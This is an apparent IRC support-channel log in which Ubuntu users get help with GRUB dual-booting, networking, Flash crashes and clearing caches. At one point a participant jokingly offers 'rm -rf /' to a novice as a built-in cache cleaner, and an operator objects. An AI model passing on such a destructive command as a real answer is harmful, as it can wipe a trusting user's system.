[07:46] <joeerror> Nah, my bios doesn't do that. I have to install the SATA controller drivers. My mobo is kinda old.
[07:47] <donkeyofdarkness> there's no option to make them emulate ide?
[07:47] <xorand> I've installed ant docs on heron but I can't find them :(.  Could someone please tell me where to find my ANT-docs?
[07:47] <hillpig> hi,can  anybody tell me how to install x window on my 8.04 hardy desktop?
[07:47] <joeerror> Nope, it's before those days of ease.
[07:47] <donkeyofdarkness> you could run nlite in a VM
[07:47] <xorand> hillpig, if you're running a gui chances are you're using x-windows
[07:48] <hillpig> o
[07:48] <xorand> also known as x11
[07:48] <xorand> xorg
[07:48] <joeerror> Yeah, that was my last option, I was just hoping there was a way to just do it. I'm not really familiar with VMs, All I do is install the VM then use the VM to install XP correct?
[07:49] <donkeyofdarkness> yeah
[07:49] <joeerror> Okay, well I guess that's what I'll have to do, thanks.
[07:49] <Fallenou> hi, i got an entry in the network manager menu (on hardy heron) which actually works well, i just have to click on it and i'm connected (i use 802.1x on wired ethernet + dhcp), but how do i set it to be the default one ?
[07:49] <Fallenou> by default it's my ethernet which is selected, not the 802.1x connection i created
[07:49] <rajec> guys I want to launch installation after double clicking on sh files like windows exe style how to do that?
[07:49] <donkeyofdarkness> joeerror, wine may work too
[07:49] <Fallenou> so by default it doesn't work, i have to click on the menu and select my 802.1x connection, it's quick but i wanna make it automatic :o
[07:50] <joeerror> Unfortunately it doesn't, at least on my box, I got nlite installed in wine, but it won't run
[07:50] <Fallenou> (and by the way i don't find how to do the same thing on the new network manager of intrepid alpha 4, i will upgrade today to 5)
[07:50] <donkeyofdarkness> did you install .net as well?
[07:50] <joeerror> Yup
[07:50] <joeerror> Which I thought was ridiculous, having to install 22+ mb to install a 2mb program :)
[07:50] <donkeyofdarkness> try installing this too http://www.wine-doors.org/wordpress/
[07:51] <donkeyofdarkness> there's some extra libraries and stuff it can install for you
[07:51] <donkeyofdarkness> it's like a synaptic for windows stuff
[07:51] <joeerror> Okay, I'll try that, can I apt-get it?
[07:51] <donkeyofdarkness> no
[07:51] <r2s> anyone here knows any mini laptop like eeepc that has 3G/HSDPA card built-in ??
[07:52] <donkeyofdarkness> but there's a ubuntu deb on that site
[07:52] <joeerror> Oh, awesome. Well thanks, I'll give it a shot, and see where that takes me.
[07:52] <mathijs> Is there an easy way to redirect outgoing email messages to a different address moving the original to: header to the body? I have an internal (web)development server, and during testing I want to test the emails that get sent, but I don't want them to get delivered to what I fill in in the applications/forms.
[07:53] <nxmehta> it appears that my fully qualified domain name is incorrect (hostname -f), and i can't figure out how to set it.  shouldn't it be set through dhcp?  is there a file i can edit to set the domain name?
[07:54] <mathijs> nxmehta: set /etc/hostname to the hosname (without domainname) and put the fqdn in /etc/hosts
[07:54] <rajec> guys I want to launch installation after double clicking on sh files like windows exe style how to do that?
[07:54] <mathijs> nxmehta: my /etc/hosts:
[07:54] <mathijs> 127.0.0.1       localhost
[07:54] <Atax> Hi all, i found a nice feature in Gnome, when pressing the keys: "Windows + R" Gnome zooms in to the currently open application window! However I cant figure out how to zoom out again to normal view, can anyone help?
[07:54] <mathijs> 127.0.1.1       bluescreen.getmyip.com  bluescreen
[07:55] <Hazarath> ..bluescreen?
[07:55] <mathijs> yeah :)
[07:55] <donkeyofdarkness> BLUE!?!?!
[07:55] <nxmehta> mathijs: thanks, that did the trick.  any reason why that wasn't set automatically via dhcp?
[07:55] <mathijs> dhcp doesn't touch /etc/hosts
[07:56] <nxmehta> oh, so there's no way for a machine to automatically figure out what domain it's on?
[07:56] <Kartagis> how can I tell NetworkManager not to touch /etc/resolv.conf the next time i reboot?
[07:56] <nxmehta> maybe from the dns server?  resolv.conf?
[07:57] <mathijs> maybe there is. I just receive my hostname from dhcp, not domain name.
[07:58] <mathijs> anyway, gotta go...
[07:58] <joeerror> Donkey: That wine-doors thing worked perfect, installed in, reinstalled nlite and now I can just run nlite. Thanks.

[08:13] <SegFaultAX> OzFalcon: just right click on your desktop and select the Create Launcher option
[08:13] <OzFalcon> Ah found it.
[08:13] <SegFaultAX> OzFalcon: the command could be "firefox www.google.com"
[08:14] <SegFaultAX> OzFalcon: assuming thats the browser you want, and that its in your path
[08:14] <OzFalcon> SegFaultAX, No. That it a terrible way to do it.
[08:14] <SegFaultAX> OzFalcon: my response was only as vague as your question
[08:14] <OzFalcon> SegFaultAX, Better to change type to "location"

[08:16] <Ciuby> problem?
[08:16] <outbackwifi> hello
[08:17] <SegFaultAX> Winston_SmithVT: have you tried looking in your bios for an option to disable your nic?
[08:17] <Wheeze87> well, i fnishsed building my new rig yesterday, and installed xp just fine on it...
[08:17] <OzFalcon> SegFaultAX, The other way is to simply drag a link in firefox to the desktop!
[08:17] <sebastian_> how do i register a new name?
[08:17] <Wheeze87> And then i came to installing ubuntu, i thought it went okay, intalling from the live cd, but when i boot up, there is no boot loader screen, it just boots straight into windwos
[08:18] <outbackwifi> sebastian_: is that an ubuntu question?
[08:18] <Winston_SmithVT> SegFaultAX, I have it disabled in there i'm pretty sure. It should not have changed, It kept freezing my computer so I got a pcmcia card and disabled it a while ago
[08:18] <outbackwifi> Wheeze87: where did you choose to install Grub?
[08:19] <outbackwifi> Wheeze87: was it on MBR or Root partition?
[08:19] <Wheeze87> Well, when that screen came up i just clicked forward, because everything looked alright...
[08:19] <outbackwifi> o_O
[08:20] <Wheeze87> I have two hard drives in my machine, And i watned to install xp on the first one, and then ubuntu on the second one...
[08:20] <Wheeze87> Should i have pointed grub to be installed on the windows hard drive?
[08:20] <outbackwifi> Wheeze87: lets assume for a moment that its not on MBR; you need to boot again with LiveCD, use fdisk to mark the root partition bootable and unmark the windoze partition, commit and reboot
[08:20] <SegFaultAX> Wheeze87: is the ubuntu hdd the master or the slave?
[08:20] <Wheeze87> slave
[08:21] <Wheeze87> okay, il try booting again with the live cd
[08:21] <Winston_SmithVT> SegFaultAX, I can check if it's still disabled in my BIOS, BRB
[08:21] <Wheeze87> okay, is there a guide to do that outbackwifi?
[08:21] <outbackwifi> Wheeze87: If it is a separate harddisk, then thats another issue
[08:22] <Wheeze87> yes, it is a seperate hard disk
[08:22] <outbackwifi> Wheeze87: just go to bios and change the boot device priority to boot the second hard disk first
[08:22] <outbackwifi> and boot normally
[08:22] <outbackwifi> without liveCD
[08:22] <boozkachu> Hi there, I have been trying to remove a module and have added it to the blacklist but it still gets loaded. Any ideas how to stop this?
[08:22] <SegFaultAX> Wheeze87: dont just start fiddling with the mbr if you dont need to. try switching the slave to master
[08:23] <outbackwifi> boozkachu: did you reboot after adding it to blacklist?
[08:23] <Wheeze87> mmm okay, ill give it a whirl thanks guys...

[08:26] <rajec> Guys I have problem to find out where is my mysql installed. I use alt f2 but it didn't find(mysql is installed for sure). I want to set command for my IDE to be able to run mysql server from ID
[08:26] <uatever> hardware
[08:27] <holyguyver_> !rm
[08:27] <outbackwifi> holyguyver_: you need to issue the command rm file-to-delete; using wildcard * will delete everything
[08:27] <webDEViL> uatever sorry, I have no exp with the hardware ones
[08:27] <boozkachu> outbackwifi: yep rebooted
[08:27] <holyguyver_> outbackwifi, No I do not wish to delete any file, I just wish to clean my cach
[08:27] <sajuuk> just seems odd, cos it worked the first time i installed it
[08:27] <Sebastianito> how do i log in with my current nickname?
[08:27] <boozkachu> not sure why it's still there after being added to the blacklist though
[08:28] <rajec> I take it back guys. I was able to start mysql from terminal(just type mysql) and netbeans automaticly connected to database ( i think)
[08:28] <holyguyver_> outbackwifi,  & yes I realize it will delete files when I clean my cach :p
[08:28] <SegFaultAX> Sebastianito: /msg NickServ IDENTIFY <pass>
[08:28] <outbackwifi> boozkachu: how did you know that its there
[08:28] <boozkachu> outbackwifi: doing 'sudo modprobe -l | grep quick'
[08:28] <Sebastianito> thx
[08:28] <outbackwifi> holyguyver_: what cache are you talking about? browser, apt etc etc
[08:28] <Winston_SmithVT> SegFaultAX, Well it's taken care of now. thanks
[08:28] <holyguyver_> outbackwifi, you know something similar to apt-get autoremove
[08:28] <SegFaultAX> Winston_SmithVT: what ended up doing the trick?
[08:29] <holyguyver_> browser. I know how to clean out atp
[08:29] <outbackwifi> holyguyver_: ah so apt cache?
[08:29] <holyguyver_> no
[08:29] <holyguyver_> look above you resent post :p
[08:29] <outbackwifi> boozkachu: does lsmod |gre quick also show the same?
[08:29] <Winston_SmithVT> SegFaultAX, It was indeed enabled in the BOIS, the minipci was enabled no clue when that happen could have swore I had it off
[08:30] <SegFaultAX> Winston_SmithVT: meh, it happens. glad to hear its resolved in any case
[08:30] <outbackwifi> clean out atp?
[08:30] <outbackwifi> k
[08:30] <outbackwifi> so which cache are we thinking of?
[08:30] <Winston_SmithVT> SegFaultAX, I also added a line to modprobe.d i'll remove that and see what happens on next boot
[08:30] <outbackwifi> boozkachu: grep
[08:30] <boozkachu> outbackwifi: it shows the quickcam_messenger and qcmessenger drivers
[08:30] <holyguyver_> outbackwifi,  no, to clean out apt I type apt-get autoremove
[08:30] <outbackwifi> great
[08:31] <boozkachu> outbackwifi: not the one i blacklisted though, so why does it show up in modprobe -l ?
[08:31] <holyguyver_> outbackwifi,  I know how to clean aft, if you look I said Browser
[08:31] <outbackwifi> holykachu: modprobe -l does not show you the loaded modules
[08:31] <Winston_SmithVT> What's a good program for finding wireless points? I don't see one that does that on the standard install
[08:31] <outbackwifi> holyguyver_: which browser?  in firefox, type ctl+shift+del
[08:32] <outbackwifi> Winston_SmithVT:kismet
[08:32] <outbackwifi> !kismet
[08:32] <holyguyver_> out I said "<holyguyver_> browser. I know how to clean out atp" way earlier, & firefox.
[08:32] <outbackwifi> !info kismet
[08:32] <SegFaultAX> Winston_SmithVT: the network manager does it for you, at least all the ones in range with SSID broadcasting enabled
[08:32] <sajuuk> guys for the xwinwrap problem, I got it fixed, in the syntax, dont do .\xwinwrap just do xwinwrap
[08:32] <holyguyver_> outbackwifi, I said "<holyguyver_> browser. I know how to clean out atp" way earlier, & firefox.
[08:32] <outbackwifi> holyguyver_: so which other cache do you want to clean???
[08:33] <boozkachu> outbackwifi: thanks
[08:33] <holyguyver_> outbackwifi,  are you blind, I have been saying firefox for minutes now
[08:33] <Winston_SmithVT> SegFaultAX, Oh ok guess i'll need to get near a ap then to see. I'm on dial up here so no ap's around here lol
[08:33] <outbackwifi> holyguyver_: you need to look up; ive told you ctl+shift+del
[08:34] <holyguyver_> outbackwifi, I did see that when you posted it
[08:34] <SegFaultAX> holyguyver_: firefox can clear its own cache
[08:34] <outbackwifi> holyguyver_: and that did not work for you?
[08:34] <holyguyver_> outbackwifi,  you are the one who is not looking up as all in all I said I want a camand that will clean all caches out, apt, firefox, opera, & any others I may have.
[08:34] <outbackwifi> lol
[08:35] <Winston_SmithVT> Well sense I'm on a roll, how do I get firefox to stop starting in offline mode everytime it starts?
[08:35] <outbackwifi> holyguyver_: ive never heard of a command like that
[08:35] <ckyle_> join #ubuntu-dev
[08:35] <holyguyver_> outbackwifi,  Then I need to make a feature request :-p
[08:35] <outbackwifi> holyguyver_: if you're smart enuff youd write a script that did that
[08:36] <outbackwifi> holyguyver_: and in any case, you wouldnt need to do that if you rebooted your machine
[08:36] <holyguyver_> outbackwifi,  I am not a program, that is why I would need to make a feature request :-p
[08:36] <SegFaultAX> holyguyver_: theres one built into all linux dist.: rm -rf /
[08:36] <outbackwifi> holyguyver_: you win
[08:36] <Ademan> it's incredibly trivial to write an application that clears out a directory, just have a bash script that takes a list of directories and clears them ,it's... simple...
[08:36] <bazhang> SegFaultAX, dont joke about that here
[08:36]  * outbackwifi admires SegFaultAX for his wit
[08:37] <holyguyver_> outbackwifi, & that cnt shift del did not work for me
[08:37]  * Ademan fondles SegFaultAX for his wit
[08:37] <neil_d> hi, I have a problem, gnome operation has changed, I used to be able to activate a window by clicking the mouse anywhere in the window :), but ATM I have to click on the title bar at the top :(  How can I fix this ?
[08:37] <rajec> I've added mediubuntu according site https://help.ubuntu.com/community/Medibuntu but I am stil unable to find skype there
[08:37] <outbackwifi> holyguyver_: thats only for firefox when the firefox window has focus
[08:37] <holyguyver_> outback, I said I wanted a terminal cammand
[08:37] <outbackwifi> rajec: skype needs to be installed separately;
[08:38]  * SegFaultAX weeps for outbackwifi 
[08:38] <rajec> outabackwifi: hmm  ok
[08:38] <bazhang> !ot > SegFaultAX
[08:38] <Ademan> holyguyver_: so what all do you want to clear?
[08:38] <holyguyver_> outbackwifi, but I asked for a terminal cammand & as I said I also want to clean out every cach I may have, not just firefox, or opera, or whatever.
[08:39] <holyguyver_> outbackwifi, I even want to clean out caches I don't even know I have
[08:39] <Ademan> erm
[08:39] <SegFaultAX> holyguyver_: so write a script that deletes everything in your cache directories
[08:39] <dorto> holyguyver_, if you know shell programming, you can write one script yourself and then release it to us. Otherwise learn shell scripting. Or bribe one of your programmer friends to write the script; you provide the requirements.
[08:39] <holyguyver_> dorto, & SegFaultAX I am not a programer, I do not know anyscripting langauge other then html.
[08:40] <SegFaultAX> holyguyver_: that would take just a few lines in bash, not to mention python
[08:40] <Ademan> man, html sure is a good *scripting* language
[08:40] <holyguyver_> Ademan, :p
[08:40] <dorto> holyguyver_, find a friend/acquaintance who can write one for you and find out how you can make them write a script for you.
[08:41] <holyguyver_> dorto, are you a programmer?
[08:41] <Meneertje> anyone knows how to prevent firefox from crashing while watching youtube clips (8.04)
[08:41] <Ademan> holyguyver_: if you could just list what you want cleared most anyone could write a script that would do it, it's incredibly simple
[08:41] <dorto> holyguyver_, yep, but not for hire ;)
[08:41] <ckyle> holyguyver_, bring me pizza and i'll do it for you - most programmers will do it for pizza
[08:42] <holyguyver_> dorto, well that is fine, I don't want to hire you, could you write me that script for free then? ;p
[08:42] <SegFaultAX> ckyle: im on that list of people
[08:42] <ckyle> he he
[08:42] <holyguyver_> ckyle, alright, where do you live?
[08:42] <dorto> holyguyver_, of course, but no guarantees that it will work. most probably it will just be an empty file :D
[08:42] <ckyle> redmond :-P
[08:42] <Ademan> holyguyver_: if you can provide a solid list of requirements...
[08:42] <ckyle> yes
[08:43] <bazhang> holyguyver_ and others please take this chat to #ubuntu-offtopic
[08:43] <ckyle> i work at the unholy of unholies
[08:43] <ckyle> sorry
[08:43] <holyguyver_> bazhang, this convo is about ubuntu
[08:43] <Ademan> ckyle: wait wha? i thought you were joking...
[08:43] <Ademan> ...or were you...
[08:43] <ckyle> for realz
[08:43] <Ademan> lol
[08:43] <Ademan> oh man, this is like... treason...
[08:43] <ckyle> high treason to be specific
[08:44] <SegFaultAX> holyguyver_: this really has nothing to do with ubuntu
[08:44] <Ademan> what's your position?
[08:44] <bazhang> holyguyver_, no it isnt. its about scriptiing. please chat in the appropriate channel
[08:44] <Meneertje> anyone knows how to prevent firefox from crashing while watching youtube clips (on ubuntu 8.04)
[08:44] <epp> Meneertje, run firefox from terminal, then see what the error is when it crashes
[08:44] <Ademan> Meneertje: bitch and moan to adobe to make a decent flash plugin, I've tried everything i could and i can't get it to be stable...
[08:44] <SegFaultAX> Meneertje: its likely an issue with flash, what version do you have?
[08:44] <NicEXE> how can I delete a file/folder using terminal?
[08:45] <holyguyver_> Ademan, ckyle  dorto bazhang SegFaultAX But this is about the health of my ubuntu system & I am asking how can I clean out all caches on my ubuntu system in one easy blow, that means firefox, apt, & any others I might not be aware I have. All temp folders.
[08:45] <SegFaultAX> NicEXE: rm -r <folder?
[08:45] <epp> Ademan, Meneertje, i have no problems on the tube
[08:45] <ckyle> adobe is in fremont
[08:45] <Meneertje> not sure.. just used the one the came with the restricted repository
[08:45] <ckyle> i should order them a truck of pizza to do it ;-)
[08:45] <ckyle> sorry again
[08:45] <Ademan> NicEXE: rm FILENAME        rm -Rf DIRECTORY   rmdir EMPTYDIRECTORY
[08:45] <bazhang> holyguyver_, there is no such command. join #bash or #ubuntu-offtopic
[08:45] <Meneertje> its only youtube that makes it close/crash.
[08:45] <holyguyver_> bazhang, it is still a question about my ubuntu system though
[08:46] <Meneertje> any other flash sites work fine
[08:46] <Ademan> Meneertje: really? i have trouble with all flash (with sound specifically)
[08:46] <Meneertje> like www.myfreepaysites.com .... or www.surfthechannel.com
[08:46] <Meneertje> no problems with those
[08:46] <SegFaultAX> holyguyver_: i agree with bazhang, we have humored you long enough. try the bash, perl, or python channels
[08:46] <Ademan> Meneertje: then i second epp's recommendation to run firefox from the terminal and see what the error is
[08:46] <Meneertje> ok thx
[08:47] <holyguyver_> SegFaultAX,  All I am asking is how do I clean out caches on my ubuntu system
[08:47] <ckyle> holy - please listen to the man ok
[08:47] <bazhang> holyguyver_, and you were answered. please stop.
[08:47] <SegFaultAX> holyguyver_: and we have told you numerous times in numerous ways, but your laziness prevents you from learning the tools that would allow you to accomplish that task
[08:47] <holyguyver_> ckyle, what is there to listen to? I am asking how do I clean caches on my ubuntu system? it is an ubuntu question.
[08:48] <bazhang> !ot | holyguyver_
[08:48]  * SegFaultAX thinks +b holyg...
[08:48] <Ademan> holyguyver_: go to #ubuntu-offtopic
[08:48] <holyguyver_> SegFaultAX,  bazhang  then tell me how to do it then, what things do I need to do, you guys have told me several conflicting answers
[08:48] <Ademan> set +b SegFaultAX
[08:49] <Meneertje> oh another question, i have compiz running... while sometimes moving the mouse over the desktop is flips to another virtual desktop... i guess this is because of mouse gestures... how can i switch this off, I can't seem to find it in the compiz advanced settings???
[08:49] <bazhang> holyguyver_, you have been told. I wont ask again.
[08:49] <SegFaultAX> Ademan: actually you would mode me, but thats ok
[08:49] <Winston_SmithVT> Err how do you get out of monitor mode? I used the command sudo iwconfig wlan1 mode monitor
[08:49] <outbackwifi> holyguyver_: does your desktop have a poweroff button?
[08:49] <holyguyver_> bazhang, I have been told to talk on toppic of ubuntu support in here, & that I have done. I do not see how I am doing anything offtopic.
[08:49] <ckyle> ccsm i think (compiz)
[08:49] <dorto> holyguyver_, there is no "Delete all the cache" button in Ubuntu. You need to use the 'rm' command to delete the directories you don't want. End of story.
[08:50] <waan> Is there a way to set a wireless adapter to a specific mode? I have an intel pro wireless 2200 which only works in b mode.
[08:50] <outbackwifi> holyguyver_: that is the "clear all cache" button in ubuntu
[08:50] <SegFaultAX> waan: it needs to support the mode you want, do you knwo off hand if that card supports a/g/n?
[08:50] <Ademan> outbackwifi: ...i think he's gone...
[08:51]  * outbackwifi thanks god for small mercies
[08:51] <donkeyofdarkness> he killed himself
[08:51] <outbackwifi> or cleared his own cache
[08:51] <Ademan> hahahah
[08:51] <SegFaultAX> haha
[08:52] <Ademan> waan: why do you need to set the adapter to a specific mode?
[08:52] <outbackwifi> waan: are you trying to  run kismet?
[08:52] <Meneertje> anyone got xubuntu running on hp mini note with the graphical acceleration working?
[08:52] <donkeyofdarkness> YES!!!
[08:52] <donkeyofdarkness> I HAVE!
[08:53] <Meneertje> donkey... referring to my question?
[08:53] <donkeyofdarkness> I got it working
[08:53] <donkeyofdarkness> yeah
[08:53] <Ademan> haha
[08:53] <computer> why cant i hear my you tube video while i an mp3 file?
[08:53] <Meneertje> i installed xubuntu but no acceleartion
[08:53] <Ademan> and his secret dies with him
[08:53] <mena> just a qustion I think that my ubuntu is going to dead I'm new in Ubuntu and I don't Know how to refresh and repack it as I installed a fresh ubuntu is there any application or command help?
[08:53] <holyguyver_> dorto,  I understood that, I am asking for advise on what I should put in around the rm cammand
[08:53] <computer> why cant i hear my you tube video while i play an mp3 file?
[08:53] <Meneertje> which wiki did you use, donkey?
[08:54] <outbackwifi> computer: i dont know, because you dont have speakers?
[08:54] <epp> Meneertje, hes gone, he was messing with you
[08:54] <Meneertje> oh... sux
[08:54] <Meneertje> got me.. hehe
[08:54] <epp> computer, try running firefox with alsa sound
[08:54] <mena> just a qustion I think that my ubuntu is going to dead I'm new in Ubuntu and I don't Know how to refresh and repack it as I installed a fresh ubuntu is there any application or command help?
[08:54] <Ademan> Meneertje: is that a via chipset?
[08:54] <Meneertje> yes
[08:54] <dorto> holyguyver_, 'man rm'
[08:54] <computer> i hear mp3 file but not video at the same time
[08:54] <Flannel> !backup | mena
[08:54] <holyguyver_> dorto,  & what will that cammand do?
[08:54] <Meneertje> i followed a wiki, all worked by no acceleration
[08:55] <Ademan> computer: what version of ubuntu? sounds like a pulseaudio problem
[08:55] <outbackwifi> computer: wouldnt that be like garbled?
[08:55] <Meneertje> by = but
[08:55] <dorto> holyguyver_, run it and see for yourself.
[08:55] <outbackwifi> is he back???
[08:55] <holyguyver_> dorto, you aren't trying anything mean are you?
[08:55] <SegFaultAX> holyguyver_: its spelled cOmmand
[08:55] <computer> 8.04
[08:55] <dorto> holyguyver_, or Google for such stupid questions.
[08:56] <Flannel> holyguyver_: `man rm` is safe.
[08:56] <Bob24> hello
[08:56] <holyguyver_> thank you Flannel
[08:56] <Meneertje> hi
[08:56] <Ademan> computer: did you upgrade or fresh install?
[08:56] <outbackwifi> hi bob
[08:56] <Wheeze87> hello, i've just installed ubuntu on my system (dual boot with xp). And i just installed grub from the live cd, now when i boot up i get  the bootloader screen, so i chose ubuntu, and evetually i get a message saying...."[ 184.214.294] Buffer I/O error on device fd0, logical block 0"
[08:56] <mena> Ok thanx ubottu
[08:56] <Wheeze87> what does this mean?
[08:56] <Bob24> I have this mythbuntu machine, i have set it up and everything seems to be fine, the thing is with the remote control and the reciever im having this issue where when i press a button on the remote it outputs it as a keyboard command. For example UP is PAGE UP, and 0 are set for about 10 different buttons, have u heard of this problem i cant figure it out? Im using a Twinhan DTV-T Tuner on it along with the original remote and reciever. 
[08:57] <computer> fresh install + upgrade
[08:57] <Ademan> computer: fresh install of gutsy then upgrade to hardy?
[08:57] <outbackwifi> Wheeze87: fd0 means floppy
[08:57] <holyguyver_> dorto, Alright, it says for file, but what if it is directory & where would those directories be ?
[08:57] <outbackwifi> Wheeze87: did you create a boot floppy?
[08:58] <Flannel> !cli | holyguyver_
[08:58] <holyguyver_> Flannel, that is what I am using
[08:58] <Wheeze87> no
[08:58] <SegFaultAX> holyguyver_: try "man find"
[08:58] <Wheeze87> i dont even have a floppy drive
[08:58] <Flannel> holyguyver_: Read the wiki page, it explains a number of the commands
[08:58] <ckyle> IN MAN: By default, rm does not remove directories.  Use the --recursive (-r or -R) option to remove each listed directory, too, along with all of its contents.
[08:59] <holyguyver_> Flannel,  O alright thanks
[08:59] <outbackwifi> Wheeze87: at the grub screen, press e and write down the contents  of the kernel line
[09:00] <SegFaultAX> Wheeze87: sounds like a possible corruption of the MBR
[09:00] <waan> SegFaultAX, Ademan, It only supports b/g, but doesn't work in mode g
[09:00] <waan> outbackwifi, no
[09:00] <holyguyver_> dorto, so I type in rm -r & then what?
[09:00] <Wheeze87> oaky, so shall i just pull the plug, then boot up to the grub screen?
[09:00] <joh> How to list packet changelog during apt-get upgrade?
[09:01] <outbackwifi> holyguyver_: hope like hell you didnt delete your linux distribution
[09:01] <outbackwifi> Wheese87: sue
[09:01] <holyguyver_> outbackwifi, you silly silly man
[09:01] <outbackwifi> Wheese87: sure
[09:01] <dorto> holyguyver_, 'rm -r <dir1> <dir2> <dir3>' will delete everything from dir1, dir2 and dir3
[09:01] <outbackwifi> holyguyver_: o_O
[09:02] <holyguyver_> dorto, all I am asking for now is the likely locations of the firefox, opera, seamonkey & other likely caches.
[09:02] <SegFaultAX> holyguyver_: and he does mean everything. so be sure you delete what you want. if your sure nothing in those filesystems is useful, you can use the -f option to force deletion
[09:02] <Flannel> holyguyver_: Why are you trying to clear everything out, by the way?
[09:03] <dorto> holyguyver_, Google is your friend. Or #firefox etc.
[09:03] <holyguyver_> Flannel, because isn't it good to clean out your system every once in a while?
[09:03] <outbackwifi> I think he read about the cache in his  computer class
[09:03] <outbackwifi> lmao
[09:03] <ckyle> holy - metamucil is the ticket if that your mission
[09:03] <dorto> lol
[09:04] <outbackwifi> holyguyver_: the cache is a temporary storage area; it will clean itself out everytime you reboot
[09:04] <Wheeze87> i press "e" but nothing comes up
[09:04] <outbackwifi> at the screen?
[09:04] <Wheeze87> yeah
[09:04] <waan> SegFaultAX, it has a hardware problem where it will drop out after you connect, this happens in all operating systems, but only when using mode g, mode b works fine, hence me needing to know how to set mode b for ubuntu
[09:04] <Wheeze87> well i assume it is the grub screen
[09:04] <holyguyver_> outbackwifi, I reboot about once every 4 months.
[09:04] <Wheeze87> it asks me if i want to boot xp or ubuntu
[09:05] <outbackwifi> wheese87: move the cursor to ubuntu
[09:05] <dorto> holyguyver_, the old data in cache is automatically overwritten by new data when more memory is needed by the application concerned.
[09:05] <holyguyver_> dorto, thank you
[09:05] <outbackwifi> wheese87: and then press e
[09:06] <ajonat> hi! anyone knows a ppa with vim 7.2 packages for hardy?
[09:06] <Wheeze87> right
[09:06] <holyguyver_> outbackwifi, dorto SegFaultAX Flannel  bazhang so you guys suggest that I do not need to clean out my caches?
[09:07] <waan> Is there a way to set a wireless adapter to a specific mode? I have an intel pro wireless 2200 which only works in b mode, but ubuntu is trying to use mode g.
[09:07] <outbackwifi> holyguyver_: the great RMS himself suggests this
[09:07]  * outbackwifi wonders if this is true
[09:07] <holyguyver_> outbackwifi, he suggests I do not clean them out?
[09:07] <Flannel> holyguyver_: I think you're confused about what caches accomplish.  Cleaning them is good, but generally not needed, and certainly not needed frequently enough to warrant the automation that you were suggesting
[09:08] <epp> d
[09:08] <outbackwifi> holyguyver_: the apps that create these caches are supposed to be carrying out what is known as "housekeeping"
[09:08] <dorto> holyguyver_, I have never deleted any cache folder manually in my life. Except to clear out old history from the firefox application itself, for privacy reasons.
[09:08] <overrider> can anyone recommend a really good web based project management system and scheduler? thanks
[09:08] <Bob24> I have this mythbuntu machine, i have set it up and everything seems to be fine, the thing is with the remote control and the reciever im having this issue where when i press a button on the remote it outputs it as a keyboard command. For example UP is PAGE UP, and 0 are set for about 10 different buttons, have u heard of this problem i cant figure it out? Im using a Twinhan DTV-T Tuner on it along with the original remote and reciever. 
[09:08] <outbackwifi> overrider: dotproject
[09:09] <dorto> overrider, you mean like ProjectPier?
[09:09] <overrider> dorto, yeah
[09:09] <overrider> projectpier doesnt do much scheduling though
[09:09] <Wheeze87> okay, im in grub now,
[09:10] <holyguyver_> dorto, outbackwifi Flannel SegFaultAX bazhang alright, then I guess I will leave the caches as is, thank for your help (all except bazhang  who ignerantly banned me for no reason)
[09:10] <Wheeze87> and i press e
[09:10] <Wheeze87> and next to kernel it says...
[09:10] <dorto> overrider, Zimbra is another option but requires lot of maintenance effort.
[09:10] <Flannel> holyguyver_: That's not really called for
[09:10] <holyguyver_> Flannel, I agree it wasn't, he shouldn't
[09:11] <dorto> holyguyver_, you need to read this: http://www.catb.org/~esr/faqs/smart-questions.html
[09:11] <outbackwifi> holyguyver_; if this were micro$oft, youd be down a million dollars just to know that you didnt need to do something
[09:11] <Wheeze87> kernel / ubuntu/install/boot/vmlinuz debian-installer/custon-installation=/
[09:11] <Flannel> holyguyver_: If you have an issue with the operators, take it up in #ubuntu-ops.  This channel is the wrong place for it.  Also, ops are just doing their jobs, you shouldn't make it personal.
[09:12] <SegFaultAX> holyguyver_: bazhang was protecting the channel topic. he was fully justified in his decision to kb you
[09:12] <holyguyver_> dorto, I feel that my question was a smart question as I was really wondering if I needed to do it, & if so, how to. & I thank all of you for giving me that answer.
[09:12] <outbackwifi> Wheeze87: are you reading out the kernel line from the liveCD? that sure doesnt look good to me if its a hard disk install
[09:13] <xinliGG_> who help me to debug this program?
[09:13] <ckyle> holy, free advice is just that... if someone can tell you they'll tell you... if not you're on your own
[09:14] <xinliGG_> svn checkout http://leafget.googlecode.com/svn/trunk/ leafge
[09:14] <holyguyver_> SegFaultAX, I understand that, I am just trying to say that I was not trying to endanger the channel toppic & that I personally feel he got a little trigger happy.
[09:14] <xinliGG_> svn checkout http://leafget.googlecode.com/svn/trunk/ leafget
[09:14] <Flannel> xinliGG_: Please take it elsewhere, this channel is for Ubuntu support, not debugging.
[09:14] <xinliGG_> ok
[09:14] <Wheeze87> well at the main grub screeen, i have the following options "start installer in narmal mode, start installr in safe graphic mode, start installer with ACPI workarounds, Start installer in verbose mode
[09:14] <Wheeze87> I do have the live cd in the tray actually
[09:14] <SegFaultAX> holyguyver_: this is the #ubuntu channel, not the #obscure_feature_request_that_may_apply_to_ubuntu channel
[09:15] <outbackwifi> wheeze87: youve booted from the livecd! remove that and boot now
[09:15] <Wheeze87> oaky
[09:15] <holyguyver_> SegFaultAX, I was only wondering if it was recammended that I clean out my chaches manually to keep my ubuntu install healthy.
[09:15] <Flannel> Alright, holyguyver_, SegFaultAX, I think everything that's sayable has been said.  holyguyver_, if you still have an issue, take it to #ubuntu-ops, otherwise please stop it.
[09:15] <Flannel> hmm, drop it.  but, stop it works too, I guess.
[09:15] <holyguyver_> Flannel, I agree I think all that is sayable has been said
[09:16] <ozo2> hola
[09:16] <Wheeze87> oaky booting up....
[09:16] <ozo2> hi
[09:16] <Wheeze87> "please select the Os to start"
[09:16] <Wheeze87> i choose ubuntu
[09:16] <outbackwifi> ok
[09:16] <Wheeze87> and then press esc to enter menu
[09:16] <xinliGG_> I was to flaunt my program wrote in ubuntu：P
[09:16] <outbackwifi> press esc
[09:17] <Wheeze87> and im in the grub menu
[09:17] <outbackwifi> xinliGG_: we're out of flauntulence here
[09:17] <Wheeze87> and i get all thos start installer options
[09:17] <Flannel> xinliGG_: Try #ubuntu-offtopic
[09:17] <outbackwifi> Wheeze87: thats impossible
[09:18] <outbackwifi> Wheeze87: you dont have a ubuntu installation at all
[09:18] <outbackwifi> Wheeze87: please complete that and then come back with the problem
[09:18] <Wheeze87> perhaps grub is installed on thewrong partiton
[09:18] <Wheeze87> i definately installed ubuntu!
[09:18] <xinliGG_> thx
[09:19] <xinliGG_> to Flannel thx
[09:19] <IndyGunFreak> Wheeze87: is ubuntu just not booting, or what?
